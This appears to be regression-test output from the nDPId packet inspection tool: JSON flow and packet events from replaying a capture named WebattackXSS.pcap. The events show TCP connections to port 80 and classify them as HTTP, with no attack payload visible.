+00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":6626,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":430,"flow_packet_id":6,"flow_first_seen":1499347694661,"flow_last_seen":1499347699807,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59934,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":6626,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":430,"flow_packet_id":6,"flow_first_seen":1499347694661,"flow_last_seen":1499347699807,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59934,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6629,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":469,"flow_packet_id":1,"flow_first_seen":1499347762675,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60666,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":469,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6629,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347762,"pkt_ts_usec":675533,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8U3VAAD4GclusEAABwKgKMuz6AFDBm6M8AAAAAKACchAbXAAAAgQFtAQCCAoBO\/BJAAAAAAEDAwc="} +00444{"flow_id":469,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6630,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347762,"pkt_ts_usec":675693,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ7Proa5y3wZujPaAScSDRcwAAAgQFtAQCCAoD5cG+ATvwSQEDAwc="} +00432{"flow_id":469,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6631,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347762,"pkt_ts_usec":676416,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0U3ZAAD4GcmKsEAABwKgKMuz6AFDBm6M96GucuIAQAOVwewAAAQEICgE78EkD5cG+"} +00433{"flow_id":466,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6635,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347762,"pkt_ts_usec":829070,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0UWpAAD4GdG6sEAABwKgKMuzEAFA\/lLpVLZDzWIARAOVEwgAAAQEICgE78HAD5byw"} +00434{"flow_id":466,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6636,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347762,"pkt_ts_usec":829356,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0MrxAAEAGkRzAqAoyrBAAAQBQ7MQtkPNYP5S6VoARAOM\/jwAAAQEICgPlweQBO\/Bw"} +00434{"flow_id":466,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6637,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347762,"pkt_ts_usec":829865,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0UWtAAD4GdG2sEAABwKgKMuzEAFA\/lLpWLZDzWYAQAOU\/jQAAAQEICgE78HAD5cHk"} +00432{"flow_id":467,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6641,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347763,"pkt_ts_usec":829347,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA03khAAD4G54+sEAABwKgKMuzSAFAZPzI99vqegoARAOV8VAAAAQEICgE78WoD5b3v"} +00433{"flow_id":467,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6642,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347763,"pkt_ts_usec":830285,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0XFxAAEAGZ3zAqAoyrBAAAQBQ7NL2+p6CGT8yPoAQAON3ZgAAAQEICgPlwt8BO\/Fq"} +00433{"flow_id":467,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6643,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347763,"pkt_ts_usec":830373,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0XF1AAEAGZ3vAqAoyrBAAAQBQ7NL2+p6CGT8yPoARAON3ZQAAAQEICgPlwt8BO\/Fq"} +00432{"flow_id":467,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6644,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347763,"pkt_ts_usec":831043,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0VHVAAD4GcWOsEAABwKgKMuzSAFAZPzI+9vqeg4AQAOV3YwAAAQEICgE78WoD5cLf"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6651,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":470,"flow_packet_id":1,"flow_first_seen":1499347765229,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60692,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":470,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6651,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347765,"pkt_ts_usec":229991,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8oyZAAD4GIqqsEAABwKgKMu0UAFACp1HuAAAAAKACchApBgAAAgQFtAQCCAoBO\/LIAAAAAAEDAwc="} +00444{"flow_id":470,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6652,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347765,"pkt_ts_usec":230142,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ7RRH+ZWsAqdR76AScSCEHQAAAgQFtAQCCAoD5cQ8ATvyyAEDAwc="} +00433{"flow_id":470,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6653,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347765,"pkt_ts_usec":230711,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0oydAAD4GIrGsEAABwKgKMu0UAFACp1HvR\/mVrYAQAOUjJQAAAQEICgE78sgD5cQ8"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6660,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":471,"flow_packet_id":1,"flow_first_seen":1499347766506,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60706,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":471,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6660,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347766,"pkt_ts_usec":506592,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA80XFAAD4G9F6sEAABwKgKMu0iAFC65SV2AAAAAKACchCb8gAAAgQFtAQCCAoBO\/QHAAAAAAEDAwc="} +00445{"flow_id":471,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6661,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347766,"pkt_ts_usec":506720,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ7SI0\/7eouuUld6AScSDmxwAAAgQFtAQCCAoD5cV8ATv0BwEDAwc="} +00432{"flow_id":471,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6662,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347766,"pkt_ts_usec":507484,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA00XJAAD4G9GWsEAABwKgKMu0iAFC65SV3NP+3qYAQAOWFzwAAAQEICgE79AcD5cV8"} +00433{"flow_id":468,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6666,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347766,"pkt_ts_usec":829773,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0aplAAD4GWz+sEAABwKgKMuzsAFC\/aIWZBVIFWYARAOUIBAAAAQEICgE79FgD5cCE"} +00433{"flow_id":468,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6667,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347766,"pkt_ts_usec":829991,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0wJVAAEAGA0PAqAoyrBAAAQBQ7OwFUgVZv2iFmoARAOMCvQAAAQEICgPlxcwBO\/RY"} +00433{"flow_id":468,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6668,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347766,"pkt_ts_usec":830565,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0appAAD4GWz6sEAABwKgKMuzsAFC\/aIWaBVIFWoAQAOUCuwAAAQEICgE79FgD5cXM"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6672,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":472,"flow_packet_id":1,"flow_first_seen":1499347767793,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60720,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00446{"flow_id":472,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6672,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347767,"pkt_ts_usec":793081,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8sEFAAD4GFY+sEAABwKgKMu0wAFC7\/0UIAAAAAKACchB59gAAAgQFtAQCCAoBO\/VJAAAAAAEDAwc="} +00445{"flow_id":472,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6673,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347767,"pkt_ts_usec":793176,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ7TCCU6kzu\/9FCaAScSCEqwAAAgQFtAQCCAoD5ca9ATv1SQEDAwc="} +00433{"flow_id":472,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6674,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347767,"pkt_ts_usec":793869,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0sEJAAD4GFZasEAABwKgKMu0wAFC7\/0UJglOpNIAQAOUjswAAAQEICgE79UkD5ca9"} +00432{"flow_id":469,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6678,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347767,"pkt_ts_usec":830507,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0U3dAAD4GcmGsEAABwKgKMuz6AFDBm6M96GucuIARAOVrcQAAAQEICgE79VID5cG+"} +00433{"flow_id":469,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6679,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347767,"pkt_ts_usec":830659,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0Wn9AAEAGaVnAqAoyrBAAAQBQ7Proa5y4wZujPoARAONmaQAAAQEICgPlxscBO\/VS"} +00432{"flow_id":469,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6680,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347767,"pkt_ts_usec":831361,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0U3hAAD4GcmCsEAABwKgKMuz6AFDBm6M+6GucuYAQAOVmZwAAAQEICgE79VID5cbH"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6684,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":473,"flow_packet_id":1,"flow_first_seen":1499347769077,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60734,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":473,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6684,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347769,"pkt_ts_usec":77555,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8n3VAAD4GJlusEAABwKgKMu0+AFAozWn\/AAAAAKACchDm4gAAAgQFtAQCCAoBO\/aKAAAAAAEDAwc="} +00443{"flow_id":473,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6685,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347769,"pkt_ts_usec":77717,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ7T59G4FkKM1qAKAScSAdXgAAAgQFtAQCCAoD5cf+ATv2igEDAwc="} +00431{"flow_id":473,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6686,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347769,"pkt_ts_usec":78439,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0n3ZAAD4GJmKsEAABwKgKMu0+AFAozWoAfRuBZYAQAOW8ZQAAAQEICgE79ooD5cf+"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6693,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":474,"flow_packet_id":1,"flow_first_seen":1499347770345,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60748,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":474,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6693,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347770,"pkt_ts_usec":345574,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8anZAAD4GW1qsEAABwKgKMu1MAFBCsJ2xAAAAAKACchCYAgAAAgQFtAQCCAoBO\/fHAAAAAAEDAwc="} +00444{"flow_id":474,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6694,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347770,"pkt_ts_usec":345670,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ7UyjrEwnQrCdsqAScSDb7AAAAgQFtAQCCAoD5ck7ATv3xwEDAwc="} +00432{"flow_id":474,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6695,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347770,"pkt_ts_usec":346469,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0andAAD4GW2GsEAABwKgKMu1MAFBCsJ2yo6xMKIAQAOV69AAAAQEICgE798cD5ck7"} +00433{"flow_id":470,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6699,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347770,"pkt_ts_usec":830850,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0oyhAAD4GIrCsEAABwKgKMu0UAFACp1HvR\/mVrYARAOUdrAAAAQEICgE7+EAD5cQ8"} +00433{"flow_id":470,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6700,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347770,"pkt_ts_usec":831069,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0XBhAAEAGZ8DAqAoyrBAAAQBQ7RRH+ZWtAqdR8IARAOMYNAAAAQEICgPlybUBO\/hA"} +00433{"flow_id":470,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6701,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347770,"pkt_ts_usec":831626,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0oylAAD4GIq+sEAABwKgKMu0UAFACp1HwR\/mVroAQAOUYMgAAAQEICgE7+EAD5cm1"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6705,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":475,"flow_packet_id":1,"flow_first_seen":1499347771635,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60762,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":475,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6705,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347771,"pkt_ts_usec":635838,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8jzNAAD4GNp2sEAABwKgKMu1aAFBxsHY6AAAAAKACchCPKQAAAgQFtAQCCAoBO\/kJAAAAAAEDAwc="} +00445{"flow_id":475,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6706,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347771,"pkt_ts_usec":635963,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ7VoJ3i\/mcbB2O6AScSCH4AAAAgQFtAQCCAoD5cp+ATv5CQEDAwc="} +00432{"flow_id":475,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6707,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347771,"pkt_ts_usec":636742,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0jzRAAD4GNqSsEAABwKgKMu1aAFBxsHY7Cd4v54AQAOUm6AAAAQEICgE7+QkD5cp+"} +00432{"flow_id":471,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6711,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347771,"pkt_ts_usec":831659,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA00XNAAD4G9GSsEAABwKgKMu0iAFC65SV3NP+3qYARAOWAmwAAAQEICgE7+ToD5cV8"} +00434{"flow_id":471,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6712,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347771,"pkt_ts_usec":831868,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0fQZAAEAGRtLAqAoyrBAAAQBQ7SI0\/7epuuUleIARAON7aQAAAQEICgPlyq8BO\/k6"} +00432{"flow_id":471,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6713,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347771,"pkt_ts_usec":832407,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA00XRAAD4G9GOsEAABwKgKMu0iAFC65SV4NP+3qoAQAOV7ZwAAAQEICgE7+ToD5cqv"} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":6714,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":431,"flow_packet_id":6,"flow_first_seen":1499347697189,"flow_last_seen":1499347702808,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59960,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":6714,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":431,"flow_packet_id":6,"flow_first_seen":1499347697189,"flow_last_seen":1499347702808,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59960,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} 